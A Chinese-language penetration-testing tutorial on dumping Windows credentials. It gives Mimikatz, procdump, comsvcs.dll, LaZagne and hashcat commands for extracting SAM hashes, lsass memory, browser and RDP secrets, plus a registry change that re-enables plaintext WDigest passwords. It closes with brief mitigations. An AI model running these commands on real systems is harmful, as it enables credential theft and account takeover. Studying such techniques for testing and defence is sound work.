跳转至

密码抓取

Mimikatz介绍和离线读取SAM文件抓取密码

Mimikatz介绍

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证

项目地址 https://github.com/gentilkiwi/mimikatz/

模块命令如下:

Text Only
cls:       清屏
standard:  标准模块,基本命令
crypto:    加密相关模块
sekurlsa:  与证书相关的模块
kerberos:  kerberos模块
privilege: 提权相关模块
process:   进程相关模块
serivce:   服务相关模块
lsadump:   LsaDump模块
ts:        终端服务器模块
event:     事件模块
misc:      杂项模块
token:     令牌操作模块
vault:     Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:     DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口] 
busylight: BusyLight Module
sysenv:    系统环境值模块
sid:       安全标识符模块
iis:       IIS XML配置模块
rpc:       mimikatz的RPC控制
sr98:      用于SR98设备和T5577目标的RF模块
rdm:       RDM(830AL)器件的射频模块
acr:       ACR模块
version:   查看版本
exit:      退出

常用命令

Text Only
CRYPTO::Certificates – 列出/导出凭证。

KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。

KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。

KERBEROS::PTT – 票证传递。

LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。

LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个

lsass.dmp的转储文件中

导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,

如:“/name:krbtgt”。

LSADUMP::SAM ‐ 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安

全帐户管理器(SAM)

数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。

LSADUMP::Trust ‐ 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或

林转储信任密钥(密码)

MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID

)。

MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。

MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。

使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。

PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。

SEKURLSA::Ekeys – 列出 Kerberos 密钥

SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。

SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。

SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的

计算机的凭证。

SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over‐Pass‐the‐Hash 的实际过程就是传递了相关的 Key(s))。

SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运

行的服务和本地计算机

在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。

TOKEN::List – 列出系统中的所有令牌。

TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。

TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。

接下来看几个常用的模块

sekurlsa模块

Text Only
privilege模块
privilege::debug  提升为debug权限

sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
sekurlsa::msv   获取HASH (LM,NTLM)

sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码

sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码

sekurlsa::tspkg 通过tspkg读取明文密码

sekurlsa::livessp 通过livessp 读取明文密码

sekurlsa::ssp 通过ssp 读取明文密码

sekurlsa::logonPasswords 通过以上各种方法读取明文密码

sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息

sekurlsa::minidump file 这个模块可以读取已经打包的内存信息

sekurlsa::pth 哈希传递

sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx

sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx

process模块

Text Only
process::list 列出进程列表

process::exports 导出进程列表

process::imports 导入列表

process::start 开始一个进程

process::stop 停止一个程序

process::suspend 冻结一个进程

process::resume 从冻结中恢复

process::run notepad 运行一个程序

process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口

kerberos模块

Text Only
kerberos::list 列出系统中的票据

kerberos::tgt 清除系统中的票据

kerberos::purge 导入票据到系统中

kerberos::ptc 票据路径

lsadump模块

Text Only
在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等

lsadump::dcsync /domain:kevin.com /user:root

(在域控上执行)读取所有域用户的哈希

lsadump::lsa /patch

从sam.hive和system.hive文件中获得NTLM Hash

lsadump::sam /sam:sam.hive /system:system.hive

从本地SAM文件中读取密码哈希

token::elevate

lsadump::sam

SAM文件抓取密码

  • 导出sam和system文件

1、通多reg命令无工具导出

Text Only
reg save hklm\sam sam.hive

reg save hklm\system system.hive

2、通过nishang中的Copy-VSS进行复制,如果这个脚本运行在了 DC服务器上,ntds.dit 和 SYSTEM hive也能被拷贝出来

Text Only
copy‐vss

copy‐vss ‐DestinationDir 路径

//直接将文件保存在当前目录下

//指定保存文件的路径(必须是已经存在的路径)
  • 读取sam和system文件获取密码
Text Only
lsadump::sam /sam:sam.hive /system:system.hive

Mimikatz在线读取sam和lsass获取密码

在线读取sam文件

使用mimikatz在线读取sam文件

Text Only
分开的命令如下

privilege::debug

token:elevate

lsadump::sam

连起来

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

在线读取lsass进程

从lsass进程中提取passwords、keys、pin、tickets等信息

Text Only
privilege::debug

sekurlsa::msv

获取HASH (LM,NTLM)

sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码

sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码

sekurlsa::tspkg 通过tspkg读取明文密码

sekurlsa::livessp 通过livessp 读取明文密码

sekurlsa::ssp 通过ssp 读取明文密码

sekurlsa::logonPasswords 通过以上各种方法读取明文密码

Mimikatz离线读取lsass进程抓取密码

导出lsass文件方式

  • 使用任务管理器导出(windows NT 6)

  • 使用procdump 导出lsass.dmp文件

ProcDump 是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU峰值和生成故障转储的应用程序。 ProcDump 还包括使用窗口挂起 (使用相同的窗口挂起定义,Windows任务管理器使用) 、未经处理的异常监视,并且可以根据系统性能计数器的值生成转储。 它还可用作可在其他脚本中嵌入的常规进程转储实用工具。因为是微软的所以一般不会被杀软杀掉

Text Only
procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp

  • 使用PowerSploit 的Out-MiniDump模块,PowerSploit是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。

地址 https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

  • comsvcs.dll,系统自带。

通过comsvcs.dll的导出函数MiniDump实现dump内存首先查看lsass.exe进程PID:

Text Only
tasklist | findstr lsass.exe

使用powershell导出

Text Only
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 488 C:\lsass.dmp full

读取lsass.dmp文件

使用mimikatz读取lsass.dmp文件

Text Only
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

https://blog.csdn.net/weixin_42136837/article/details/112616369

使用Hashcat和在线工具破解NTLM Hash

Hashcat介绍

Hashcat是一个密码恢复工具。直到2015年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于Linux、Windows、macos。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt格式,以及 MySQL 和 Cisco PIX 中使用的算法。

使用hashcat破解NTLM Hash

Text Only
hashcat ‐m 1000 NTLM HASH 字典 ‐‐force

网站破解

https://www.cmd5.com/

浏览器、数据库等其他密码的抓取

BrowserGhost

Text Only
命令:BrowserGhost.exe

Sharp-HackBrowserData

Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi等常见的浏览器都能抓

Text Only
命令:Sharp-HackBrowserData.exe

SharpDecryptPwd数据库

SharpDecryptPwd-master对密码已保存在 Windwos 系统上的部分程序进行解析,包Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品

Text Only
SharpDecryptPwd.exe ‐TeamViewer

SharpDecryptPwd.exe ‐FileZilla

SharpDecryptPwd.exe ‐WinSCP

SharpDecryptPwd.exe ‐Xmangager ‐p Session\_Path

LaZagne

是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。

Text Only
命令:laZagne.exe all
Text Only
laZagne.exe all

laZagne.exe browsers

laZagne.exe browsers ‐firefox

laZagne.exe all ‐oN

laZagne.exe all ‐oA ‐output C:\Users\test\Desktop

laZagne.exe ‐h

laZagne.exe browsers ‐h

laZagne.exe all ‐vv

laZagne.exe all ‐quiet ‐oA

Windows其他类型抓取NTLM HASH工具

getpassword

打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码

pwdump7

在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLMHash

QuarksPwDump

下载QuarksPwDump.exe,在命令行环境中输人 QuarksPwDump.exe --dump-hash-local 导出三个用户的NLMHash

nishang

nishang中的 GET-PASSHashes.ps1可以可以获取hash

Text Only
Import‐Module .\Get‐PassHashes.ps1

Get‐PassHashes

wce

这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本:

Text Only
‐l 列出登录的会话和NTLM凭据(默认值)

‐s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>

‐r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次

‐c 用一个特殊的NTML凭据运行一个新的会话 参数:

‐e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次

‐o 保存所有的输出到一个文件 参数:<文件名>

‐i 指定一个LUID代替使用当前登录会话 参数:

‐d 从登录会话中删除NTLM凭据 参数:

‐a 使用地址 参数: <地址>

‐f 强制使用安全模式

‐g 生成LM和NT的哈希 参数<密码>

‐K 缓存kerberos票据到一个文件(unix和windows wce格式)

‐k 从一个文件中读取kerberos票据并插入到windows缓存中

‐w 通过摘要式认证缓存一个明文的密码

‐v 详细输出

Windows RDP凭证的抓取和密码破解

破解原理

Credentials的解密是Windows系统信息收集中非常重要的一环,其中包括各类敏感、重要的凭证(这个可以理解为密码),接下来我们就讲解RDP凭证的抓取和破解在我们点击保存密码后,Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。

凭证的查看

查看凭证命令

Text Only
查看mstsc的连接记录

cmdkey /list

查找本地的Credentials

dir /a %userprofile%\appdata\local\microsoft\credentials\*

在线破解

1、使用mimikatz获取该文件的MasterKey的guid

Text Only
mimikatz dpapi::cred

/in:C:\Users\Administrator\appdata\local\microsoft\credentials\FF22A1FDA68FD8515B52C534E8655421

所以用于加密凭据文件FF22A1FDA68FD8515B52C534E8655421B的MasterKey的guid就是:{c271c658-e61b-4023-95d2-dfbf18b0aa33},所以我们只要从内存中找到这个guid对应的MasterKey的值即可

2、找到内存中对应的MasterKey

Text Only
mimikatz sekurlsa::dpapi

3、最后打开mimikatz通过MasterKey值去解密凭据文件

Text Only
dpapi::cred /in:凭据文件路径 /masterky:masterkey值
Text Only
mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\FF22A1FDA68FD8515B52C534E8655421
/masterkey:b3354c56cd35630d10aa7477c3d16e9b94587f1dc6f9d0c8fcb72a5e4a25c8aab8fa242194666c4cc4be9485c31af555b01a49abbfbb8cc1c00d209da624f33c

离线破解

由于我们不能保证我们的mimikatz是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目的其实很简单,就是把目标的文件和内存下载回来,在vps或本机上进行mimikatz解密即可。

1、下载目标内存

Text Only
procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump 导出lsass

2、下载目标的Credentials文件

3、用mimikatz载入dump回来的内存

Text Only
Sekurlsa::minidump lsass1.dump

4、获取Credentials的GUID

Text Only
dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421

5、获取内存中所有的MasterKey

Text Only
sekurlsa::dpapi

6、利用MasterKey解密

Text Only
dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421
/masterkey:b3354c56cd35630d10aa7477c3d16e9b94587f1dc6f9d0c8fcb72a5e4a25c8aab8fa242194666c4cc4be9485c31af555b01a49abbfbb8cc1c00d209da624f33c

Windows-2012R2之后抓取密码的方式

在Windows 2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取

修改注册表和锁屏

  • 修改注册表
Text Only
reg add HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG\_DWORD /d 1 /f 开启
reg add HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG\_DWORD /d 0 /f 关闭
  • 锁屏
Text Only
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载

抓取密码

密码防范

2012R2域控设置

在windows server 2012 R2中,新增了一个Protected Users 安全组,将用户加入到该组,用户的明文密码就不会被获取

安装KB2871997

2014年,Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server 2012也可以更新该补丁后获得上述安全保护机制。该补丁无法阻止”哈希传递“的攻击方式,但其确实有助于是Windows免受一些常见的攻击,例如:明文密码脱取、RDP凭据盗取、盗取本地Administrator账户进行横向移动。

修改注册表

Text Only
reg add HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG\_DWORD /d 0 /f 关闭